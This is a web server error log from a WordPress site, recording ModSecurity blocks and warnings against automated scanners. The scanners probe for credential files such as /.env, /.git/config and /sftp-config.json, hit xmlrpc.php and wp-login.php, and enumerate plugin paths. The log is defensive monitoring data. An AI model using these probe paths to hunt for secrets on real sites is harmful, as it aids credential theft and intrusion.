[Tue Feb 17 09:31:53.367477 2026] [:error] [pid 58552:tid 58609] [client 20.100.191.215:8861] [client 20.100.191.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inege.php"] [unique_id "aZPFCTBHVJP2Oz3yR5dBZAAAAE4"]
[Tue Feb 17 09:31:53.913666 2026] [:error] [pid 32790:tid 32796] [client 20.100.191.215:8885] [client 20.100.191.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inege.php"] [unique_id "aZPFCXs3HJP9ozPHsN5cpQAAAQI"]
[Tue Feb 17 09:31:54.449800 2026] [:error] [pid 32790:tid 32808] [client 20.100.191.215:21032] [client 20.100.191.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inege.php"] [unique_id "aZPFCns3HJP9ozPHsN5cpgAAAQ4"]
[Tue Feb 17 12:20:15.288358 2026] [:error] [pid 58659:tid 58680] [client 167.71.244.81:63266] [client 167.71.244.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/profile-builder/readme.txt"] [unique_id "aZPsf8DX32iTEO4jt2-uUwAAANM"]
[Wed Feb 18 09:39:14.309427 2026] [:error] [pid 5561:tid 5576] [client 91.215.85.12:57651] [client 91.215.85.12] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aZUYQkoQssCZYQ4NexYnbgAAAUw"]
[Wed Feb 18 10:42:48.308520 2026] [:error] [pid 21847:tid 21862] [client 165.245.187.140:55571] [client 165.245.187.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/profile-builder/readme.txt"] [unique_id "aZUnKPy9A5wy4LuXmJ1KvQAAAAQ"]
[Thu Feb 19 00:50:49.994892 2026] [:error] [pid 11611:tid 11703] [client 63.125.89.54:10101] [client 63.125.89.54] ModSecurity: Warning. Match of "pmFromFile userdata_wl_content_type" against "TX:0" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "17"] [id "210710"] [rev "5"] [msg "COMODO WAF: Request content type is not allowed by policy. Please update file userdata_wl_content_type.||agraphics.com.au|F|2"] [data "TX:0=text/plain"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aZXt6e2m6IPN_aBZuKaXRwAAAwU"]
[Thu Feb 19 00:50:49.995159 2026] [:error] [pid 11611:tid 11703] [client 63.125.89.54:10101] [client 63.125.89.54] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 63.125.89.54, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aZXt6e2m6IPN_aBZuKaXRwAAAwU"]
[Thu Feb 19 00:50:50.005086 2026] [proxy_fcgi:error] [pid 11611:tid 11703] [client 63.125.89.54:10101] AH01071: Got error 'Primary script unknown'
[Thu Feb 19 00:50:54.728082 2026] [:error] [pid 21847:tid 21875] [client 63.125.89.54:37443] [client 63.125.89.54] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 63.125.89.54, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aZXt7vy9A5wy4LuXmJ1F5AAAABE"], referer: https://www.google.com
[Thu Feb 19 00:50:54.732430 2026] [proxy_fcgi:error] [pid 21847:tid 21875] [client 63.125.89.54:37443] AH01071: Got error 'Primary script unknown', referer: https://www.google.com
[Thu Feb 19 01:38:03.668228 2026] [:error] [pid 11609:tid 11663] [client 63.125.89.66:54033] [client 63.125.89.66] ModSecurity: Warning. Match of "pmFromFile userdata_wl_content_type" against "TX:0" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "17"] [id "210710"] [rev "5"] [msg "COMODO WAF: Request content type is not allowed by policy. Please update file userdata_wl_content_type.||agraphics.com.au|F|2"] [data "TX:0=text/plain"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aZX4-8hm3UjgaKO2Na9fEQAAApM"]
[Thu Feb 19 01:38:03.668491 2026] [:error] [pid 11609:tid 11663] [client 63.125.89.66:54033] [client 63.125.89.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 63.125.89.66, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aZX4-8hm3UjgaKO2Na9fEQAAApM"]
[Thu Feb 19 01:38:03.680043 2026] [proxy_fcgi:error] [pid 11609:tid 11663] [client 63.125.89.66:54033] AH01071: Got error 'Primary script unknown'
[Thu Feb 19 01:38:09.069632 2026] [:error] [pid 21848:tid 21905] [client 63.125.89.66:1677] [client 63.125.89.66] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 63.125.89.66, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aZX5AfbG91VRkVidT5eIRQAAAFA"], referer: https://www.google.com
[Thu Feb 19 01:38:09.074749 2026] [proxy_fcgi:error] [pid 21848:tid 21905] [client 63.125.89.66:1677] AH01071: Got error 'Primary script unknown', referer: https://www.google.com
[Thu Feb 19 02:13:43.534289 2026] [:error] [pid 11512:tid 11535] [client 103.65.236.149:63395] [client 103.65.236.149] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/sftp-config.json"] [unique_id "aZYBVxGamu0xQuQ-jbGHsgAAAZI"]
[Thu Feb 19 05:52:42.843348 2026] [proxy_fcgi:error] [pid 48903:tid 48967] [client 104.211.88.54:6407] AH01071: Got error 'Primary script unknown'
[Thu Feb 19 05:52:43.210753 2026] [proxy_fcgi:error] [pid 48903:tid 48983] [client 104.211.88.54:6407] AH01071: Got error 'Primary script unknown'
[Thu Feb 19 05:52:43.384118 2026] [proxy_fcgi:error] [pid 48903:tid 48977] [client 104.211.88.54:6407] AH01071: Got error 'Primary script unknown'
[Thu Feb 19 05:52:43.547702 2026] [proxy_fcgi:error] [pid 48903:tid 48966] [client 104.211.88.54:6407] AH01071: Got error 'Primary script unknown'
[Thu Feb 19 05:52:43.963798 2026] [proxy_fcgi:error] [pid 48903:tid 48970] [client 104.211.88.54:6407] AH01071: Got error 'Primary script unknown'
[Thu Feb 19 05:52:44.137037 2026] [proxy_fcgi:error] [pid 48903:tid 48985] [client 104.211.88.54:6407] AH01071: Got error 'Primary script unknown'
[Thu Feb 19 05:52:44.492153 2026] [:error] [pid 48903:tid 48969] [client 104.211.88.54:6407] [client 104.211.88.54] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.211.88.54, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aZY0rI6aTgKrpAR115sGgQAAAIQ"]
[Thu Feb 19 05:52:44.496514 2026] [proxy_fcgi:error] [pid 48903:tid 48969] [client 104.211.88.54:6407] AH01071: Got error 'Primary script unknown'
[Thu Feb 19 05:52:44.973531 2026] [proxy_fcgi:error] [pid 48903:tid 48974] [client 104.211.88.54:6407] AH01071: Got error 'Primary script unknown'
[Thu Feb 19 05:52:45.376361 2026] [proxy_fcgi:error] [pid 48903:tid 48980] [client 104.211.88.54:6407] AH01071: Got error 'Primary script unknown'
[Thu Feb 19 05:52:45.536750 2026] [proxy_fcgi:error] [pid 48903:tid 48982] [client 104.211.88.54:6407] AH01071: Got error 'Primary script unknown'
[Thu Feb 19 05:52:45.688183 2026] [proxy_fcgi:error] [pid 48903:tid 48975] [client 104.211.88.54:6407] AH01071: Got error 'Primary script unknown'
[Thu Feb 19 05:52:45.870463 2026] [:error] [pid 48903:tid 48972] [client 104.211.88.54:6407] [client 104.211.88.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-conten/uploads/"] [unique_id "aZY0rY6aTgKrpAR115sGiwAAAIc"]
[Thu Feb 19 05:52:46.495679 2026] [:error] [pid 48901:tid 48922] [client 104.211.88.54:2643] [client 104.211.88.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-conten/uploads/"] [unique_id "aZY0rsixYz-lHbN0WBLDSQAAAAw"]
[Thu Feb 19 05:52:47.122047 2026] [:error] [pid 48902:tid 48939] [client 104.211.88.54:2628] [client 104.211.88.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-conten/uploads/"] [unique_id "aZY0r2cJ-6aYRpRRFsVF2gAAAEE"]
[Thu Feb 19 05:52:47.756912 2026] [:error] [pid 48902:tid 48952] [client 104.211.88.54:2267] [client 104.211.88.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-conten/uploads/"] [unique_id "aZY0r2cJ-6aYRpRRFsVF2wAAAE4"]
[Thu Feb 19 14:33:00.124788 2026] [:error] [pid 5581:tid 5628] [client 157.230.43.38:49541] [client 157.230.43.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/profile-builder/readme.txt"] [unique_id "aZaunHIfW0xlXmrVd3qGfwAAAhE"]
[Thu Feb 19 20:16:44.295678 2026] [:error] [pid 24048:tid 24072] [client 34.169.61.183:54016] [client 34.169.61.183] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.169.61.183, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aZb_LGug6wHHqU0QyDb0sAAAAVY"]
[Thu Feb 19 20:16:44.305451 2026] [proxy_fcgi:error] [pid 24048:tid 24072] [client 34.169.61.183:54016] AH01071: Got error 'Primary script unknown'
[Thu Feb 19 20:16:46.939432 2026] [:error] [pid 24048:tid 24057] [client 34.169.61.183:54016] [client 34.169.61.183] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aZb_Lmug6wHHqU0QyDb0vAAAAUc"]
[Thu Feb 19 20:16:47.270040 2026] [:error] [pid 5548:tid 5557] [client 34.169.61.183:60149] [client 34.169.61.183] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aZb_L5MpsAkdKxbTbsO5CwAAAYY"]
[Thu Feb 19 20:16:47.644306 2026] [:error] [pid 5548:tid 5554] [client 34.169.61.183:55082] [client 34.169.61.183] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "aZb_L5MpsAkdKxbTbsO5DAAAAYM"]
[Thu Feb 19 20:16:47.972042 2026] [:error] [pid 5548:tid 5561] [client 34.169.61.183:50842] [client 34.169.61.183] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aZb_L5MpsAkdKxbTbsO5DgAAAYo"]
[Thu Feb 19 20:16:48.326679 2026] [:error] [pid 5548:tid 5553] [client 34.169.61.183:62585] [client 34.169.61.183] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aZb_MJMpsAkdKxbTbsO5DwAAAYI"]
[Thu Feb 19 20:16:48.660567 2026] [:error] [pid 24048:tid 24062] [client 34.169.61.183:56939] [client 34.169.61.183] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aZb_MGug6wHHqU0QyDb0vwAAAUw"]
[Thu Feb 19 20:16:49.030161 2026] [:error] [pid 48902:tid 48942] [client 34.169.61.183:53562] [client 34.169.61.183] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aZb_MWcJ-6aYRpRRFsUrZQAAAEQ"]
[Thu Feb 19 22:22:10.059960 2026] [:error] [pid 5581:tid 5627] [client 193.32.176.86:48620] [client 193.32.176.86] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aZccknIfW0xlXmrVd3rhcwAAAhA"]
[Fri Feb 20 01:18:03.240678 2026] [:error] [pid 48902:tid 48947] [client 34.82.71.132:58736] [client 34.82.71.132] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.82.71.132, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aZdFy2cJ-6aYRpRRFsVeYwAAAEk"]
[Fri Feb 20 01:18:03.251056 2026] [proxy_fcgi:error] [pid 48902:tid 48947] [client 34.82.71.132:58736] AH01071: Got error 'Primary script unknown'
[Fri Feb 20 01:18:05.236430 2026] [:error] [pid 48902:tid 48946] [client 34.82.71.132:58736] [client 34.82.71.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aZdFzWcJ-6aYRpRRFsVebgAAAEg"]
[Fri Feb 20 01:18:05.620503 2026] [:error] [pid 24048:tid 24072] [client 34.82.71.132:63170] [client 34.82.71.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aZdFzWug6wHHqU0QyDY15AAAAVY"]
[Fri Feb 20 01:18:05.980065 2026] [:error] [pid 48903:tid 48973] [client 34.82.71.132:56922] [client 34.82.71.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "aZdFzY6aTgKrpAR115sl9QAAAIg"]
[Fri Feb 20 01:18:06.353598 2026] [:error] [pid 48902:tid 48953] [client 34.82.71.132:53137] [client 34.82.71.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aZdFzmcJ-6aYRpRRFsVecAAAAE8"]
[Fri Feb 20 01:18:06.704572 2026] [:error] [pid 48902:tid 48940] [client 34.82.71.132:57432] [client 34.82.71.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aZdFzmcJ-6aYRpRRFsVecQAAAEI"]
[Fri Feb 20 01:18:07.077070 2026] [:error] [pid 5548:tid 5570] [client 34.82.71.132:63975] [client 34.82.71.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aZdFz5MpsAkdKxbTbsPooAAAAZM"]
[Fri Feb 20 01:18:07.437124 2026] [:error] [pid 49002:tid 49025] [client 34.82.71.132:51381] [client 34.82.71.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aZdFz1fcBtQ6hSJuEQmWFAAAAMs"]
[Fri Feb 20 07:43:54.515221 2026] [:error] [pid 22278:tid 22281] [client 213.136.87.233:43716] [client 213.136.87.233] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/api/.env"] [unique_id "aZegOl0FtS8l4lgFYkABuQAAAcA"]
[Fri Feb 20 07:43:54.517567 2026] [:error] [pid 64510:tid 64531] [client 213.136.87.233:43704] [client 213.136.87.233] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aZegOixwOnmwqVfn93V5nwAAANM"]
[Fri Feb 20 07:43:56.081131 2026] [:error] [pid 22278:tid 22301] [client 213.136.87.233:40248] [client 213.136.87.233] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/api/.env"] [unique_id "aZegPF0FtS8l4lgFYkABuwAAAdQ"]
[Fri Feb 20 07:43:56.166279 2026] [:error] [pid 64405:tid 64469] [client 213.136.87.233:40240] [client 213.136.87.233] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aZegPNSgDnQB5OAbOuTsGAAAAII"]
[Fri Feb 20 15:36:47.563975 2026] [:error] [pid 46012:tid 46030] [client 179.158.171.112:53959] [client 179.158.171.112] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 179.158.171.112, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aZgPDzXz-GTvuxLwgUHQdAAAAVA"]
[Fri Feb 20 15:36:47.574134 2026] [proxy_fcgi:error] [pid 46012:tid 46030] [client 179.158.171.112:53959] AH01071: Got error 'Primary script unknown'
[Fri Feb 20 19:01:05.679203 2026] [:error] [pid 46012:tid 46015] [client 182.8.129.89:22230] [client 182.8.129.89] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aZg-8TXz-GTvuxLwgUEtdQAAAUE"]
[Sat Feb 21 02:22:34.669153 2026] [:error] [pid 59127:tid 59139] [client 103.65.237.124:53968] [client 103.65.237.124] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/sftp-config.json"] [unique_id "aZimanSltzl55Qz-09ieuQAAAQo"]
[Sat Feb 21 19:17:33.352224 2026] [:error] [pid 53976:tid 54009] [client 113.11.180.6:5060] [client 113.11.180.6] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 113.11.180.6, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aZmUTdBEV5I20TLqUt6vJAAAAoI"]
[Sat Feb 21 19:17:33.364843 2026] [proxy_fcgi:error] [pid 53976:tid 54009] [client 113.11.180.6:5060] AH01071: Got error 'Primary script unknown'
[Sat Feb 21 20:59:10.722872 2026] [:error] [pid 11941:tid 11962] [client 170.64.235.221:41406] [client 170.64.235.221] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aZmsHnTUkHs3EVWllKnY8QAAAZM"]
[Sat Feb 21 20:59:10.751755 2026] [:error] [pid 36509:tid 36518] [client 170.64.235.221:41442] [client 170.64.235.221] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aZmsHjG8U28d2EFbEqW0oAAAAcc"]
[Sat Feb 21 22:07:04.632344 2026] [:error] [pid 40871:tid 40875] [client 45.131.195.69:52875] [client 45.131.195.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.195.69, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aZm8CDqDikjdiOZeJyWw9QAAAMI"]
[Sat Feb 21 22:07:04.645230 2026] [proxy_fcgi:error] [pid 40871:tid 40875] [client 45.131.195.69:52875] AH01071: Got error 'Primary script unknown'
[Sun Feb 22 08:52:12.288909 2026] [:error] [pid 9695:tid 9706] [client 124.217.73.37:57052] [client 124.217.73.37] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 124.217.73.37, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aZpTPFpPqolBNLmJ4eqRlgAAAMk"]
[Sun Feb 22 08:52:12.298802 2026] [proxy_fcgi:error] [pid 9695:tid 9706] [client 124.217.73.37:57052] AH01071: Got error 'Primary script unknown'
[Sun Feb 22 08:57:38.646705 2026] [proxy_fcgi:error] [pid 12501:tid 12518] [client 20.24.200.53:1183] AH01071: Got error 'Primary script unknown'
[Sun Feb 22 08:57:38.771442 2026] [proxy_fcgi:error] [pid 12501:tid 12520] [client 20.24.200.53:1183] AH01071: Got error 'Primary script unknown'
[Sun Feb 22 08:57:38.896158 2026] [proxy_fcgi:error] [pid 12501:tid 12509] [client 20.24.200.53:1183] AH01071: Got error 'Primary script unknown'
